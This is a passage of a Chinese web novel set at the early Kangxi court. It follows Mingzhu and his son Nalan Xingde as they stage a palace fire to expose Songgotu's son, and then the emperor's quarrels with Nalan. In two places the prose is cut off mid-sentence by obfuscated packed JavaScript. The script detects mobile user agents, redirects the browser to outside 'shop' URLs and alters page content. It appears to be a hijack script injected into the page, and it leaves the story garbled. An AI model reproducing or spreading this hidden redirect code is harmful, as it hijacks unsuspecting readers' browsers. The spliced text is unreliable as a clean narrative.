接着,朝中支持明珠的大臣们都连成一气,一同跪地道:“明珠大人冤枉,请皇上明断。” 兴必察站出来道:“皇上自有判断,明珠大人是纯粹爱钱、还是把手伸向了钱,是非黑白自有分晓。” 辜鸿玳道:“你等一致为明珠说话,岂非更加反证了明珠知法犯法、不配为臣之错?” 一汉族官员请命道:“皇上年少,肃清腐败之风正是立威之时,理应立刻查审明珠、对明党之人严惩不贷!” “朕自有主张。”玄烨冷静斟酌,“如果查实明珠中饱私囊、擅集利益链、任用私人、败坏官德,就一定不会轻饶。” 阿尔吉善道:“明党之人,官官相护,智囊众多。臣请皇上立刻过目白纸黑字之上的往来罪证,以名册为入手点,彻查明府、大办贪官污吏。” 玄烨正要打开记载了明珠罪证的“钱款和人情往来”名册来当众审阅,就听见了一阵动静之声,他向朝堂的正门口看去—— 忽然间,有个统卫匆匆入内来报:“启禀皇上,养心殿忽然失火。虽是严冬,但因瑟风猛烈,导致火势难收……奴才,请皇上拿个主意!” “什么!”玄烨从龙椅上一跃而起,冲着统卫质问道,“无端端养心殿为何会发生火灾?要是朕提早下朝,那被困火海之中的岂不是朕了?” “皇上万安,大清之幸!火灾原因,尚未查明,只因事关重大,奴才才冒死闯入朝堂来禀。”统卫猛地一跪,“天干物燥,火势迅猛;天寒水成冰,灭火何其难……奴才,请皇上立马定夺。” “养心殿现在情况如何?有何折损!”玄烨走到了銮阶之前,指着统卫,“给朕说实话!” “照着皇上昨日的旨意,纳兰公子一早就跟着明珠大人进宫来了。火事发生之时,纳兰公子正在养心殿内,照着皇上的吩咐……为,为皇上拟写年末辞旧迎新的‘岁末把笔’【注1】之词。” “混账!” 一位八旗亲贵怒喝一声。 “纳兰性德是什么东西,竟然有胆子替皇上代拟年末贺词、贺状?从老汗王到顺治皇帝为止,从来没有哪个奴才敢做代笔之事!!” 明珠惊出了一头冷汗。 如果说自己被弹劾一事,是父子商量过的“将计就计”,那么纳兰性德为皇上“代写”——岁末把笔的内容一事,自己这个当阿玛的,是当真一点都不知情啊! 万一儿子写文章写的太入神,真的忘却了窗外事,直到火灾入里了才反应过来,往前没出路,往后没退路,不知等谁来营救,性命危在旦夕,那可怎么好? 夫人得知,恐怕会哭的晕过去。 一位汉人大臣冷道:“真是不幸啊!明珠大人你刚刚被弹劾,纳兰公子就遭了天谴,可见是连天公都开了眼,不让你把持朝纲,不让纳兰公子再误君侧。” 朝堂之上,议论纷纷: “纳兰性德在,大清的祖宗家法怕是要被颠覆干净了。那个佞臣现在为皇上代笔的是新年贺词、贺状,日后逮着机会,岂不是连圣旨都有能耐伪造了?” “别的臣子忠君为国,是一件一件地干实事,为百姓请命,为天下开太平。可是纳兰性德在做什么?复翰林院、撤内院、废议政王大臣会议、代拟文章揣测圣意……放在爱新觉罗家的祖辈皇帝面前,条条事死罪!” “纳兰性德的确该死。臣之前只听说过宦官乱政,今儿倒是见识了陪臣误君,真是开了眼。皇上忠奸不分,好在是老天爷替皇上天罚了纳兰性德,否则……” “住口!”玄烨龙颜大怒,“你们是不把人命当回事了吗?” 复对着统卫下令:“传朕的意思,想尽办法去救火。就算是投冰,也给朕拼了命去救!要是养心殿内出了人命或是烧了要物,你等统卫就提着脑袋来给朕回话。” 鳌拜的声音响起:“皇上如此态度,在意的是纳兰性德的命?还是差点成为替死鬼的自己的命?” 玄烨没理会鳌拜,而是对明珠气道: “你担任过内务府总管,应是晓得:火灾之事,内务府戒备不当,责无旁贷。朕现在想把现任的内务府总管噶禄革职处死,你以为如何?” “回皇上,”明珠正直道,“臣爱子心切,认为皇上对噶禄的处置并无不妥。只是有些事情,是有些人纯心为之,不可怪到内务府总管头上。” 明珠复又狡猾地把话题一转,为自己开脱道: “臣愿意将功补过,调查出是谁有意要害皇上和我儿容若。恶徒被拿下之日,就请皇上斩了恶徒来替代处罚噶禄吧!” * 一统卫首领进殿:“报——” 玄烨大声道:“讲!” “养心殿起火的原因奴才查到了,是索额图大人的指使,让其子阿尔吉善在殿外的水缸上悬挂了一块玉佩所致,目的就是为了要纳兰公子的命。” 索额图大惊,正要问阿尔吉善是怎么回事,竟然耳边听见了明珠询问统卫首领的声音:“我儿容若还活着吗?” 明珠摆出了大哭的姿态,一脸悲戚,眼泪啪啪往下掉,就跟是要借此来请皇上做主一样。 “回明珠大人话,卑职等已经尽全力把纳兰公子救出,连着皇上的宝贝字画和收藏,也一并抢救了出来。” 明珠竟然跑上前去,握着统卫首领的手,感激着颤声道:“多谢!” “纳兰公子受惊,卑职等已经请了太皇太后的意思,叫了太医一并随着送纳兰公子回明府调养了。” “臣替容若谢太皇太后大恩!” 明珠一擦眼泪,往慈宁宫的方向一拜。 “这才是天公开眼!”明珠冲着刚刚咒骂过容若遭天谴的汉人大臣冷声道,“我儿受皇上鸿福庇佑,必然是福大命大,不会叫小人得志,枉丢性命。” 明珠走到那些索党之众面前,大骂: “好呀!你们先是故拿罪证来参本官一本,后是想置本官的儿子于死地,说白了就是有心跟纳兰父子过不去。你等等种种行径,步步算计,到底是何居心?照本官看,狼狈为奸、祸国殃民的佞臣应该是你等吧!” “臣请皇上还臣和容若一个公道!” 玄烨听闻纵火者是索额图之子阿尔吉善时,已是怒形于色,碍于自己还未亲临火事现场查看情况,才没有处置索党之人。 此刻,玄烨返回了龙椅处,从扶手上拿起阿尔吉善上交的——弹劾明珠“奉公不守法、爱财且贪财、私设利益集团”的证据名册来看。 随即把名册往地上一扔,雷霆道:“上面无字,阿尔吉善,你敢戏君?” “怎会无字?”阿尔吉善懵了,“臣上交给皇上的名册,上面清清楚楚地记载了明珠大人贪赃的款额、来往者姓名、交易日期啊!” 玄烨一使眼色。 顾问行顾公公就出去把名册捡了起来,确认上面的确是一片空白后,才来到阿尔吉善面前,转达了皇上的意思: “大人,污蔑朝廷命官、暗杀君侧陪臣、欺君害君,可都是大罪死罪呀!” 这回轮到索额图站出来,跪地给自己的儿子求情了。 “请皇上明鉴,犬子绝无害人之意,这一切都是明珠的圈套!” “索额图,我儿容若再怎么样都好,那是在为皇上办事,听从皇上话就是忠君。可是你儿子阿尔吉善却受你教唆:找出空凭据来陷害本官,欲借玉佩引火来谋害我儿容若,好一出父子一唱一和的伎俩,胆敢威胁皇上的安危!” “明珠,你含血喷人!” “统卫要是没有足够的把握,敢在皇上面前说在养心殿取巧引火之人就是你儿子阿尔吉善吗?照本官,看块玉佩应该好好查一查,没准除了引火的作用之外,还藏着别的见不得人前的东西呢。” “明珠,你什么意思?” “我什么意思?”明珠一冷笑,“我就是要叫皇上和满朝文武看清楚,我儿子和你儿子就是云泥之别,一个积善为公,一个恶贯满盈,好人自有好报,恶人自有恶报,天道公正着呢!” 玄烨下令道:“来人,去给朕把那块引火的玉佩拿到朝堂上来。” 办事的侍卫动作利索,不一会儿就去来了皇上要看的东西。 玄烨觉得那块玉佩有点熟悉,但又说不上来在哪里见过,就问:“你等有谁见过此物?知道来路的,就站出来告诉朕。” 鳌拜道:“回皇上,前吏部尚书被革职查办且抄家的时候,臣正好见过这块玉佩,必将就是出自那被抄的府邸之中。而担任此案指挥的,正好是索额图之子阿尔吉善。” 玄烨一点就通,咬牙切齿道: “好啊,朕如今是明白了,明珠没有贪污,而是阿尔吉善在办案的过程中以权谋私,将前吏部尚书府邸的好东西都私拿了不少去啊!” “皇上,臣冤枉啊!”阿尔吉善为自己辩解,“臣只是见这块玉佩样式不错,才擅自留下的。而且臣询问过盘点的差吏,他说这是一块假玉,臣才敢占作己用啊!” “假玉?朕看着倒是真的不能再真了!”玄烨叫顾问行上前,“顾总管,你的眼光用在鉴别古董玩物上,就出了名的老辣。你看朕细辨,辨错了朕就要了你的脑袋。” 顾问行拿过玉佩来前前后后、里里外外地盘查了一番,又是看成色、又是听声音、还对着光侦察明白了纹理,才肯定地回话道:“启禀万岁爷,是真货。” “好,朝廷命官私吞财物,隐瞒不报,按律当:计脏定罪。”玄烨一招手,“来人,给朕去查,查请阿尔吉善家中还有多少赃物,一并统计好了再来给朕回话。” * 玄烨正想下令将阿尔吉善暂且收监候审,索额图站出来给儿子求情道: “皇上,纳兰父子诡计多端,一切都是他俩的算计, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玄烨一步一步走到罪臣面前。 这是他第一次以居高临下的姿态面对有份量的臣子,所以他慎重且威严。 “证据字条在朕手中,事实摆在众臣子面前,索额图,你们父子确实无话可说。” 阿尔吉善胆战心惊,乱了分寸,只满口重复着一句话:“臣和阿玛被人布了局,臣和阿玛被人布了局……” 明珠听着觉得腻,只以眼神对索家父子相睨。 ——容若啊,阿玛终于将局面扭转为为上风了。 ——你要好好的呀!等阿玛回家。 索额图揍了儿子一拳,然后道:“臣和逆子阿尔吉善,等候皇上处置。” 玄烨下意识地往大门口一看,幸好孝庄太后没有前来插手,于是,他抉择道:“先将索额图、阿尔吉善父子带回索府去,严加看管。与今日之事相关的其他琐事,一并查证,细枝末节,皆不可放过。另外,” 玄烨忽然看向明珠,警告道:“朕今日没有追究你,不等于你就是真的清白无辜,你自己回府后好好反省,给朕写一份反省书上来。” “臣谨记。” 明珠一正顶戴,叩谢了皇上。 鳌拜冷眼看着这一幕一幕:少年天子坐回了宝座、索额图父子被带走、明珠恭敬谨慎地站着、群臣不敢多发表一句言论。 他心想: 看来皇帝真的是长大了,今日之事绝非偶发,而是皇帝与纳兰父子有心合谋的马到成功之事。 看来我鳌拜,也要为自己找好后路与退路才行了。 * 回家的路上,两位太医一直对纳兰公子嘘寒问暖。 他俩生怕“珠玉”就这么在自己面前化了,那就是有十个脑袋也不够太皇太后和皇上砍的。 那时的场景, 如果额娘问起,容若觉得可以这么描述: 儿让自己置身于一片火海之中,真是可怕。 起了好大烟,四周都是红光,炙热灼烤着皮肤,眼前越来越模糊,呼吸越来越困难……好像来救我的人出现的再迟一点,我就真的会化作一烬清灰一样。 如此来,如此去,人生匆匆,欲乘莲华。 一程雪,一程心,无非刻骨,珍珑一局。 儿正是因为知道:为阿玛为皇上“赴汤蹈火”的人是自己,才会义无反顾。 可是额娘,儿也会恐惧,恐惧己命终归天命,善举终归终举,让阿玛担心、让额娘哭泣。明明儿在尽力保护自己,但也有无能为力的时候对不对?父与子,君与臣,臣与臣,臣与民,本就常有望洋兴叹之时。 现在儿平安,回到家里了,回到额娘身边来了。 想跟额娘说话,想吃额娘亲手做的银耳莲子素羹。天将滋味酿愁肠,细啖慈母藕羹处,转榻灯影、道寻常,才是最好的。 容若闭上了眼睛,心里牵挂着: 希望阿玛在朝堂上将计就计,一切顺利。 我已经完成了自己能做的事,是该回家好好歇一歇了。 但是,有一处不明。 阿玛交给我、我交给皇上的“索党字条”,阿玛他是从谁手里拿到的呢? 宛卿吗?容若摇了摇头,她不可能直接见到阿玛。难道是惠儿…… 【注1】岁末把笔:清代皇帝在元旦子时,坐于养心殿东暖阁,引明烛、倒屠苏、端坐窗前,开笔写吉祥话、祝福语的仪式。从雍正皇帝起,称为“明窗开笔”。 18.第18章 下朝之后,玄烨第一时间往养心殿方向走。 顾问行顾公公在后面快步跟着,边走边道:“万岁爷,事发之地不宜靠近,况且纳兰公子也不在那里啊!” “谁说朕在乎纳兰?” 玄烨嘴硬。 然后他猛地一收步,把顾问行堵了一个趔趄,差点摔倒。 “你说朕还有哪里可以去?朕关了索额图父子禁闭,能去坤宁宫见赫舍里皇后吗?朕又让皇阿奶心疼了纳兰一回,敢去慈宁宫请安吗?园景布置没点新意,朕能去御花园散心吗?偌大的皇宫,哪里都没有朕的安身之所。” “万岁爷,您不如去如意馆看禹画师作画如何?” “这倒是个主意。但朕现在也要先去养心殿。” * 养心殿外的那棵九莲菩提树边,官云辞一看左右无人,马上回收那柄引火用的放大镜。 之前纳兰公子去瓜尔佳府邸找她商议过此事,他道:“云辞格格,此事没有你帮忙不行。” 她就答应了下来,然后问:“纳兰公子,你要是这么不要命,真要让自己困在火海里,万一出了大事怎么办?” “那我希望云辞格格回收道具的时候,一定要小心,不要被人发现。”纳兰的声线温雅纯粹,“还有,给太皇太后报信的消息我舍不得你去做,所以请你不要去,我不放心。” “那你打算叫谁去?” “我不想连累别人,所以我谁也不叫。”纳兰摇头,“如果统卫有心,主动去通知太皇太后,那么我得救是我的福气,事后我一定谢他;如果统卫视而不见,就这么看着我化烟化尘,那也是我的命数,我不怪谁。” “引火烧身这个四个字用在纳兰公子身上,为什么就有了一种美感呢?” “云辞格格,你可千万算准放大镜引火的时间,别把放大镜搁置的太快或太慢。” “纳兰公子你才是,千万算好了引开养心殿守卫和太监宫女的注意力的契机,别让他们发现——听了你的话,伺机而动的我。” 纳兰比出了一个OK的手势,笑问:“在洋人的礼节里,相互之间表示约定和守诺,是这个手势吧?” “满清第一大才子,也悄学会了这个?” “嗯。以后云辞格格和禹兄一起登船出游世界,回来后一定叫上我到如意馆的小雅室里面去,我想听外头的见闻,也想要一块洋怀表。” “哪有像你这样事先向人讨礼物的?” “不行吗?” 云辞看见了纳兰脸上的表情,他像是一只可爱的笼中鸟,明眸期待,希望自己的请求得到允许,希望自己的愿望被满足。 但,又好像被拒绝了也不会生气一样,想得到一声真实的、真心的回应。 “我……当然是答应你。” 回到当下,官云辞把放大镜收进了一个长方形的皮革手拿包里。 一个统卫上前,对她感激道:“多亏云辞格格提醒,卑职等才发现玉佩才是引火之源。” “水落石出了就好。”云辞平静道,“接下来就看皇上怎么处置这件事了。” 不说皇上还好。 下一瞬间,玄烨还真是来了,就站在官云辞身后。 顾问行的声音,随着拍打树皮的动静响起:“万岁爷,它还好好的呢!” 顾公公又多嘴又对官云辞道:“格格,您身边的这棵九莲菩提树,可是万岁爷亲手为纳兰公子栽的。亏得苍天保佑,一点没有烧坏,不然万岁爷就地大吵大闹,奴才可是劝不住的。“ 云辞问:“皇上为什么给纳兰公子栽菩提树?人皆知道纳兰公子爱的是玉兰树。“ 顾公公滔滔不绝道: “纳兰公子有禅心,需要一棵菩提树养着。万岁爷希望纳兰公子健康长寿、福慧常开,就仔细种下了。” “先帝爷笃信佛教,曾为董鄂皇贵妃出家。咱们万岁爷孝顺,要为先帝爷重兴佛教,这项工程浩大,得有个名头才好,纳兰公子出了‘弹指’二字,万岁爷大喜,就钦点这个为工程之名。也把这棵菩提树叫做‘弹指’呢。” “谁说朕高兴?” 玄烨固执道:“朕笑话纳兰还来不及呢!什么‘楞伽山人’?什么‘佛说楞伽好,早已悟他生’?偏偏纤尘不染的纳兰才是个最懂尘世之人。” 对此,云辞惊而不语。 “云辞格格,你怎么在这里?是关心朕的安危吗?” “我。” ——我只是受纳兰公子所托,心甘情愿助他一臂之力。 “朕猜到了,来找纳兰是吧?你知道他日常在朕身边。”玄烨自以为是道,“这样,等时机合适,朕就向皇祖母开口,让她把你指给纳兰。” “皇上,我有喜欢的人。纳兰再好,我也不嫁纳兰。” “你在说反话,女子都这样,越是喜欢一个男子,就越是在嘴上说不嫁他。” “我是真的心有所属,那个男子不是纳兰。” 明确了官云辞对纳兰的态度,玄烨高高兴兴。 官云辞和顾总管对看了一眼,不知道皇帝是怎么回事。 接下来,玄烨倒也没有多说什么。 只是往九莲菩提树上面一抱,连着脸都贴了上去。 顾公公大惊,“万岁爷,您这般不成体统要是被太皇太后知道了,老祖宗不还得对您一顿训话?” “训什么?有什么好训?”玄烨继续我行我素,“这棵树没事,朕高兴,怎么了?” * 慈宁宫。 太皇太后孝庄正在赏一盆矮冬梅。 苏麻喇姑上前道:“老祖宗,赫舍里皇后跪在宫门外头求见。” 孝庄道:“她呀,是受了委屈,皇上现在是什么态度,我也猜得到。但是索额图父子犯下这么大的错,我可帮不了她。若她是来为索额图父子求情的,就让她罢了吧。” “是。”苏麻喇姑应道,“奴才会亲自送皇后回坤宁宫,好好陪她说话、好好安慰她,老祖宗放心。” 孝庄放下修花的剪刀,“苏嬷嬷,安抚皇后之前,你先叫人去把皇上叫到我面前来。” “回老祖宗,皇上出宫去纳兰家了。” “罢了,出去了就出去了吧。”孝庄摇头,“照我看,皇上找纳兰性德代拟‘岁末把笔’也没错,毕竟纳兰性德的才华摆在那里。只是这样的事情,不许再发生第二次了。” “老祖宗说的是。”苏麻喇姑理解道,“皇上的文采好不好倒是其次,但是他的子民们看重的是大清皇帝本人的诚意和皇恩呐。” 孝庄站了起来,缓缓上前几步。 “皇上没有闹出叫纳兰性德代写‘福’字的荒唐行径来,我这个皇祖母,已经是省下一半心了。由得皇上到纳兰家去,也好让我看看纳兰性德自己有没有分寸弄明白:代笔之事,既是大过、也是大错。” * 明珠府邸。 明珠一下马,就直奔进了儿子的房间。 觉罗氏见状,不知道老爷是关心儿子还是责备儿子,就紧随了进去。 明珠顾不得脱下朝服,容若也也没时间披衣从软榻上坐起向明珠问安,父子俩就这么面对了面。 贴身侍女袖云倒是机灵,搬了凳子来让老爷和夫人坐在公子榻边之后,就自动自觉地关门出去了。 “容若,先不说别的,阿玛问你,你真给皇上代写‘岁末把笔’了?” “儿是代为遣词造句,不是执笔替皇上书写新年贺帖。” “那就好,不然那些分发给王公大臣和内宫后妃的新年贺帖上留下了你的笔迹,你我父子都要被千夫所指。” “儿自然是知道那样的事做不得。” “阿玛就怕你会被皇上逼着做。” “阿玛不相信儿的骨气吗?儿怎么敢往御用的新年贺帖上面落墨。就算是皇上拿刀架我脖子上,我也不能过一次‘天子瘾’、为他这样‘分忧’啊!” “你以为这事完了吗?没完。”明珠如履薄冰,“你要给朝廷上下和太皇太后一个交待。” “是啊儿子,外头那些大臣都盯着你看呢。”觉罗氏小声提醒道,“皇上留下的烂摊子,你再不情愿也要为他善后啊。” “难道要儿写《罪己书》吗?儿又没有触动规矩,怎么那些大臣就觉得:纳兰性德目无王法、妄自尊大了?” “你是没有跃居皇权之上。”明珠劝道,“但是你说自己只是:遣词造句、未沾圣帖,外头那些人能信吗?” “那皇上为什么就不能自己承担责任?” “就因为他是皇上,所以他可以:只瞻前、不顾后。” “难道除了阿玛和额娘,天下就没有第三个人为我打抱不平了吗?” * “谁说没有?”玄烨双手推门而入,“朕就是第三个为你打抱不平之人。” 无人通传,天子到来。 明珠吓了一跳,叫了容若下榻、夫人起身,然后对康熙皇帝跪拜道:“臣纳兰一家恭迎皇上到来!” “都起来吧!”玄烨说罢,又对容若道,“你躺回暖被里面去。” “既然皇上知道臣的难处,就跟臣一起——将‘岁末把笔’的事情的本质真相,向满朝文武和太皇太后做个交待吧!” “他们还要什么交待?元旦当天,朕就坐在养心殿里写贺词、贺帖,他们会看不见吗?再说了,列祖列宗朝没有代拟之人,到了朕这一朝就不能有吗?” “请皇上给臣留点余地。臣不想成为众矢之的。” “朕要开列祖列宗之先例,叫你代拟几句国运昌盛、天下太平的话,就陷你于不义了?朕怎么不觉得?” “天下只有一君,臣民只听一言。皇上要是没有自信去自己想、自己写‘岁末把笔’的词句,大可以直接把这项规矩给废了,看看怎么在逢年过节的祭祀时候去面对列祖列宗。” 玄烨皱眉,“纳兰,你敢威胁朕?” 明珠赶紧圆场道:“皇上莫怪,容若只是一时气急,才口出了一些不中听的话。” 玄烨气纳兰道:“好,今年元旦朕就好好写‘岁末把笔’,然后特别写一个‘福’给你,当着群臣的面赐给你,要群臣都知道:康熙皇帝有多看重纳兰性德,即便是不叫他代拟字词,也要把第一份‘福’字恩赐给他。” 纳兰胸膛起伏,“请皇上醒一醒。赐福字,首接的理应是功高之臣或资历老臣,而非像纳兰性德这样的新臣。太皇太后不会教导出像皇上你这般——蛮横、高傲、不讲理、不分轻重的爱新觉罗家子孙。” “放肆!”玄烨拿起桌面上的“纳兰香”小香鼎就要往地上砸,“你这样数落朕,眼里还有没有——” “万岁爷息怒!”顾公公握住了皇帝的手,“纳兰公子亲手制作的香料要是被您摔了,那可是您补偿他十个顶尖的小香鼎或是十块沉香木,都补偿不回来的了。” 玄烨“哼”了一声,把“纳兰香”小香鼎放回了原位。 明珠擦了把冷汗,用眼神暗示: 容若,你别再说那些招皇上生气的大实话了。 纳兰收了声,玄烨平了气,明珠夫妇安了心。 小房间就迎来了暂时的一阵子安宁。 * 揣测圣意不如问明圣意,纳兰直坦道:“那皇上,以后还要臣代为拟写‘岁末把笔’的一词一句吗?” 玄烨摇头,“不要了。” 下一瞬间,他想起了自己进明府后看见的“新鲜东西”。 “但是,朕要你给家里的藏书楼‘穴砚斋’题写的那副楹联。” 纳兰自然是不肯给,“皇上你要了那副楹联也没用,上书的内容又不适合宫里的藏书阁。” 又一次被拒,玄烨强硬道:“朕说要就是要,你要不给,就是对朕不敬。” 在明珠夫妇的拼命暗示下,纳兰不得不服从:“臣现在重新写给皇上。袖云,去拿笔墨。” “不许!朕就要你写好的。” “皇上,那副楹联对臣来说意义不一样,是臣和阿玛父子关系谐好的、带着浓郁亲情的见证之物【注1】。你怎么能说拿就拿?” “朕就是要夺你所爱。”玄烨指向藏书楼方向,“顾总管,朕命令你现在就去把纳兰性德亲笔写的那副楹联,给朕取来。” “奴才不敢。” “你是要朕亲自出马是吧?朕叫你去你就去!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200809|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾问行前一脚刚走,后一脚—— 容若未添衣物,就这么带着一副薄凉的身子骨走出了温暖的房间。 儿子如何冻得?明珠夫妇脸色都吓白了。 “你干什么?” 玄烨冲着纳兰的背影喊一声。 他很想制止纳兰,但是碍于自己作为皇帝的面子,始终没有那么做。 容若匆匆跑到“穴砚斋”的正门下,神色坚毅,不让顾总管动一下那副楹联。 “纳兰公子,你不懂咱们万岁爷的心思吗?” “就是因为懂,才反而不想给。” “纳兰公子你在顾虑什么?” “皇上太小气了。赏赐给我的东西,是为了让我谢恩的;从我手中夺走的东西,是为了让我服从君命的。皇上他,只会自我满足。” “这不就结了吗?公子你可是个明白人呀!” “顾总管,你替我给皇上回句话,就说:纳兰盼着他——能把刚强和推恩用在执政上,把驯服臣子的野心用在改变大清江山的前景上。” “奴才记下了,这就去一字不差地向万岁爷转达。” 半晌。 觉罗氏把冻得瑟瑟发抖、残花易凋似的儿子带回了房间。 她一边给儿子塞暖手小铜炉、一边用温热的毛巾给儿子轻拭脸颊。 明珠心里觉得愧疚,毕竟他是没有想到: 容若把父子情看的很重,重到违抗皇上的命令,把皇上气走的地步。甚至,连寒症的忌讳都可以不顾。 不过值得一提的是,玄烨第一次跟纳兰惠儿擦肩而过。 他觉得这个女子美丽伶俐,住在明府是纳兰性德的福气,倒也不想跟纳兰性德生气了。 * 皇宫中。 慈宁宫外长廊。 “苏嬷嬷,皇阿奶叫朕过来,所为何事?” “奴才也要说皇上一句,皇上这回确实是不像话:朝堂之上之上闹完还嫌不够,转头又到纳兰家去闹。” “朕的本意是关心纳兰,他却总跟朕唱反调。” “照奴才看,皇上就是想从纳兰公子身上寻找一种‘称心如意’的感觉,想让咱们大清第一才子完全听命于君。” “还是苏嬷嬷理解朕。” 玄烨来到孝庄膝下,“孙儿给皇祖母请安。” “皇上,你去看过赫舍里皇后了吗?” 玄烨答非所问道:“孙儿已经叫人去收拾和修缮养心殿了。” 孝庄明眼道:“皇祖母不管你跟明珠父子合计过什么,下次不准你再让纳兰以身涉险,记下了吗?” 玄烨老实道:“孙儿不照着明珠父子的计策做,就没法让索额图露出马脚。” “那下一次呢?”孝庄一针见血地问,“皇上是不是也会面临:不按照索额图的计策做,就没法让明珠露出马脚的场景?” “不是孙儿没主见,而是纳兰的主意确实可行。” 玄烨在心里盘点起来,纳兰是这么说的: “阿尔吉善当朝弹劾明珠贪污,必定会出示《账本名册》,这有往来交易者姓名和赃款数额的《名册》是伪造的,目的是为了让阿尔吉善相信确有其事。等到顾公公从阿尔吉善手中拿到了名册,就让他在转身上呈皇上的瞬间,把有字的名册换成空白名册,以待后用。” “养心殿起火以后,皇上不必顾着臣,继续在朝堂上跟明珠相互配合就好。阿尔吉善私藏的玉佩,臣已经叫明府的门客弄到手,到时候皇帝就可以拿玉佩来定阿尔吉善的罪,具体是:利用玉佩聚光引火烧殿、玉佩是贪赃枉法所得。” “皇上你在朝堂上一步一步走,该怒的时候怒,该惩的时候惩,臣跟阿玛都心里有数。关键是让索额图父子没有反驳的余地,皇上你才好照着自己的意思来处置。” “哦,对了,臣还要提醒皇上一句:处置索额图父子,不是立君威也不是为臣出气,而是正朝纲。朝中要少一些总爱‘在背后放冷箭’和‘使阴招’的重臣才好,不然朝臣们之间勾心斗角,影响时局、偏颇君辩,不利于大清江山安稳。” “再怎么可行,皇祖母也不许纳兰的性命受到威胁。”孝庄带着心疼,“不错,皇祖母知道,这事要想演的逼真,大火逼殿之时,纳兰本人就必须在里面,并且还不能视情况而自己出逃。可是如果没人去救他呢——” ‘纳兰人品这么好,怎会没人去救他?” “皇上你自己认了就好,纳兰的人品确实是比你好。” “孙儿,知道了。”玄烨半低头,“原本孙儿在朝堂上就想下令,叫统卫不顾一切救出纳兰再说的,可是那些朝臣压根没把纳兰的死活当回事,而是拿了‘新年贺帖’的事情出来,大骂他:僭越身份,干涉君意,意图乱政。” “好,既然皇上提了,那皇祖母就不得不当着皇上的面过问:‘岁末把笔’之事,到底是纳兰的错?还是皇上的错?” “朕……朕跟纳兰都有错。” “皇上,你这叫什么话?” “分明是皇祖母原本以为是纳兰的错,想明白之后就知道该怪孙儿了。” “那皇帝你去了明府一趟之后,就此事而言,纳兰说了什么?” “纳兰说的,句句是对孙儿大不敬的话。” “纳兰说的好,皇上你回坤宁宫去吧。” “皇祖母叫孙儿去哪里?” “我看你今晚也没心情跟赫舍里皇后说话,还不如躺在无声、懂事、不怨的嫡妻身边,好好反思纳兰对你说过的每一句话到天明。” “唉!如此——”孝庄一叹,“玄烨你也算是尽了点夫责和君责。” “孙儿听皇祖母的话。” “顾总管。”孝庄向外叫了一句。 “皇上摆驾坤宁宫——”顾问行立刻开喊了一声。 【注1】 越是简单,越是难得。 纳兰容若珍惜的父子情: (1)第11章,明珠带他去林子里踩雪。 (2)第16章,明珠带他外出散步。走出明府去晒太阳和透气。 (3)第16章,明珠告诉他“穴砚斋”三个字的意思,让他写楹联。 19.第19章 深夜。容若已经睡下。 被耳边的“纳兰公子”四字轻唤惊醒时,容若吓了一跳:宛卿不知道用了什么方法,竟然神不知鬼不觉地潜入了明府、还找对了房间。 “你是来告诉我你的名字的吗?” 容若抱腿坐在床上。 “我叫沈宛。”她笑着指向床边方柜,“沈檀刻作神仙女,宛捧金尊水上来。所以公子亲手做的这一小鼎炉的‘纳兰香’归我了。” “好巧,沈檀。”容若打开方柜倒数第二层的抽屉,从里面拿出来一个素雅的匣子来,“我的香方里正好是用上了沉香木和檀木,归你正好。” “公子的身子好些了吗?” “在我家,不被允许问这样虽是关切但是没有什么实际意义的话。” “为什么?” “不知道,打小时候起就这样,然后就习惯了。” “公子好像是只笼中鸟,只能跟爹爹和娘亲谈正事。那些市井人家带着寻常味和烟火味的话,都没机会说、没机会听。” “所以我学了个技巧,在阿玛和额娘开口之前,先告诉他们我很好。这样他们就安心了,也不会觉得我染尘。” “公子你应该活的自在些,不然老是在家中或是陪在皇上身边,多无聊啊!” “不会,阿玛说他要在权力之巅做个贤臣,皇上说他要在而立之年之前让大清江山换个模样,作为儿子和臣子,我做自己力所能及之事、出自己忠孝两全之策、写一身正气的文章,就觉得自己没有虚度年华。” 沈宛开诚布公道:“你阿玛手上的那张‘索党字条’,是我带来的,我交给了你的表妹惠儿。字条是我师傅给我的。” 容若问:“你师傅是宫内人还是宫外人?” “他自称要做个避世之人、潜心著书。”沈宛摇头,“但是躁动之心却一刻没有少过,他说清不如明,公子你是满人,听了这话会生气吗?” “我又不是皇上,早就不知道喜怒哀乐的情绪是什么了。”容若无奈地笑了笑,“所以皇上在我面前怎么息怒无常都好,我都不怪他,不跟他记仇。” “而宛卿你的师傅——”容若平和道,“我不知道他是谁,也没有见过他,怎么会因为他的只言片语而生气?” “公子依旧叫我宛卿?” “觉得亲切、合适。” “那我该怎么叫你?” “都好,随你喜欢。皇上叫我纳兰,惠儿叫我表兄,阿玛额娘叫我容若,我自称:大清第一陪臣;别人管我叫:翩翩浊世佳公子。” “那我还是叫你‘公子’的好。”沈宛又问,“公子要做第一陪臣,那皇上能做第一圣君吗?” “这个要等后世之人给皇上一个公正的评价。”容若往好的方向盼,“而我,希望至少在我活着的时候,皇上是位明君,大清承前启后的明君。” “公子别这么说自己。”沈宛带着积极的口吻,“虽然皇上是万岁爷,但我希望公子你比皇上活的久。” “但愿,如愿。”容若应的很轻。 沈宛从怀中拿出一张素稿纸,“其实在吃公子相赠的点心的时候,我写了一首诗给公子你。” “点心哪能成诗?应是食盒提篮里面少了一茶包,宛卿你念茶而诗。” “什么都瞒不过公子。” 容若从床上下来,走向轩窗,轻推扇叶,隔层轻纱,道:“宛卿的诗作,这边有月光才能看清。” “公子你忘记添衣了。” 沈宛拿过衣架上的长袍,坐到了容若身边,细心为他披上。 “跟宛卿一起读诗,坐在地板上我也不觉得凉。” 